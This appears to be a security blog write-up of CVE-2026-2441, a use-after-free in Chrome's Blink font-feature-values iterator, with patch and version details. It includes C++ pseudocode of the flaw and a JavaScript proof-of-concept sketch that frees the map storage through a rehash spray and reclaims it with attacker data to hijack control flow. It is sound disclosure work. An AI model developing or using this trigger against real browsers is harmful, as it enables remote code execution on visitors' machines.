Feb 21, 2026·6 min read·5 visits
A critical Use-After-Free in Chrome's Blink engine allows attackers to execute arbitrary code by manipulating CSS font feature maps. If you iterate over a map while modifying it, the backing storage gets freed, but the iterator doesn't get the memo. Confirmed active exploitation.
In the sprawling, chaotic metropolis that is the Chromium codebase, even the most obscure CSS features can hide deadly traps. CVE-2026-2441 is a textbook Use-After-Free (UAF) vulnerability buried deep within the Blink rendering engine's handling of `@font-feature-values`. By exploiting a logic error in how iterators track underlying HashMaps during mutation, attackers can trigger memory corruption leading to Remote Code Execution (RCE) inside the renderer process. This isn't theoretical—Google has confirmed active exploitation in the wild.
Browsers are essentially operating systems masquerading as document viewers. They handle networking, graphics, audio, and, of course, typography. But unlike your OS, the browser executes untrusted code from the internet by design. Enter CSSFontFeatureValuesMap.
This component lives in Blink (third_party/blink/renderer/core/css/css_font_feature_values_map.cc) and is responsible for handling the CSS @font-feature-values rule. This rule allows developers to define named aliases for font-specific feature indices (like swash or styleset). It's a niche feature, likely used by 0.1% of websites, which makes it the perfect hunting ground for bug hunters. Code that isn't frequently touched or widely understood often rots.
The vulnerability here is a classic "iterator invalidation" issue, but with a C++ twist. When you ask JavaScript to iterate over these font values, the browser creates a C++ iterator object to bridge the gap. Ideally, this iterator should be smart enough to handle the underlying data changing. In CVE-2026-2441, it was decidedly stupid.
To understand the bug, you have to understand how WTF::HashMap (Web Template Framework, not the other acronym) works in Blink. Hash maps are dynamic. If you add enough items, the map eventually says, "I'm full," and allocates a larger chunk of memory, moves the items over, and frees the old chunk.
The vulnerability lies in the FontFeatureValuesMapIterationSource class. This class is created when JS asks for an iterator (e.g., rule.styleset.entries()).
The fatal flaw? The iterator held a raw pointer (const FontFeatureAliases* aliases_) directly to the internal storage of the map. It did not hold a reference that would keep the storage alive, nor did it check if the map had moved. It just grabbed the address and said, "I'll live here forever."
Here is the sequence of doom:
free()). The new data lives elsewhere.Let's look at the logic failure. The code essentially trusted that the map wouldn't change under its feet. This is akin to sitting on a park bench (iterator) while a construction crew (map.set) demolishes the park and builds a new one three blocks away. You end up sitting on nothing.
// Pseudocode representation of the flaw
class FontFeatureValuesMapIterationSource : public ValueIterable::IterationSource {
public:
explicit IterationSource(const FontFeatureAliases& aliases)
: aliases_(&aliases), // <--- DANGER: Raw pointer to map storage
iterator_(aliases.begin()) {}
bool Next(ScriptState* script_state, ...) override {
// If 'aliases_' was rehashed, this iterator is invalid.
// But we use it anyway.
if (iterator_ == aliases_->end()) return false;
// ... usage of iterator_ causes UAF
}
private:
const FontFeatureAliases* aliases_;
FontFeatureAliases::const_iterator iterator_;
};The fix, implemented in commit 63f3cb4864c64c677cd60c76c8cb49d37d08319c, changes this ownership model. Instead of a raw pointer, the safe version usually involves either creating a localized copy of the keys/values for the iterator to use (snapshotting) or using a WeakPtr or handle that knows when the underlying object has died or moved.
Exploiting this requires a bit of heap gymnastics (Heap Feng Shui). We need to trigger the free, fill the hole with our own data, and then trick the engine into using it.
> [!NOTE] > This is a simplified reconstruction based on the vulnerability mechanics.
// 1. Setup the target
const sheet = document.getElementById("target-style").sheet;
const rule = sheet.cssRules[0]; // @font-feature-values rule
const map = rule.styleset; // The vulnerable map
// 2. Create the iterator (holds raw ptr to current storage)
const iterator = map.entries();
const first = iterator.next();
// 3. Trigger the Free (Rehash)
// We delete an item to create gaps, then flood it to force a resize.
map.delete(first.value[0]);
// Adding 512 items guarantees a rehash in most HashMap implementations
for (let i = 0; i < 512; i++) {
map.set("spray_" + i, [i, i+1]);
}
// At this point, the 'iterator' variable in C++ points to freed memory.
// 4. Reclaim the Freed Memory
// We allocate a typed array or another object that fits the size of the freed block.
// We write fake vtable pointers or object structures here.
let reclaim = new ArrayBuffer(SIZE_OF_FREED_CHUNK);
let view = new DataView(reclaim);
view.setUint32(0, 0x41414141); // Controlled data
// 5. Trigger Execution
iterator.next(); // Blink reads our 0x41414141 as a pointer and jumps to it.If successful, the iterator.next() call tries to read from the old map storage. Since we've overwritten that storage with our ArrayBuffer, the browser reads our malicious data. By targeting the Virtual Function Table Pointer (vptr), we can hijack control flow and execute ROP chains.
Immediate impact? Renderer RCE. The attacker executes code in the context of the Chrome Renderer process. This process is sandboxed, meaning it can't just read your files or install malware directly on the OS.
However, a Renderer exploit is the first step in a "chain." Attackers combine this UAF with a second vulnerability—a Sandbox Escape (often in the OS kernel or the browser's GPU process)—to break out.
Given that this was found exploited in the wild, it is highly probable that threat actors (likely sophisticated ones) had a full chain ready. They used this bug to get a foothold, and another zero-day to break the cage.
The remediation is straightforward for users: Update Chrome. The patch ensures that iterators are robust against container mutation. Typically, this means the iterator creates a "snapshot" of the keys or holds a strong reference that prevents the backing store from vanishing.
If you are a security researcher looking at the patch, check css_font_feature_values_map.cc. You'll see the shift away from raw pointers. The lesson here for C++ developers is eternal: Never trust that a container will remain static while you are iterating over it.
145.0.7632.75 (Windows/Mac) or 144.0.7559.75 (Linux).chrome://settings/help to ensure the update applied.CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Google Chrome Google | < 145.0.7632.75 | 145.0.7632.75 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-416 (Use After Free) |
| CVSS | 8.8 (High) |
| Attack Vector | Network (Web Page) |
| Privileges Required | None |
| User Interaction | Required (Visit Page) |
| Exploit Status | Active / Weaponized |
| EPSS Score | 0.00531 (66.81%) |
| KEV Listed | Yes (2026-02-17) |
Referencing memory after it has been freed can cause a program to crash, use unexpected values, or execute code.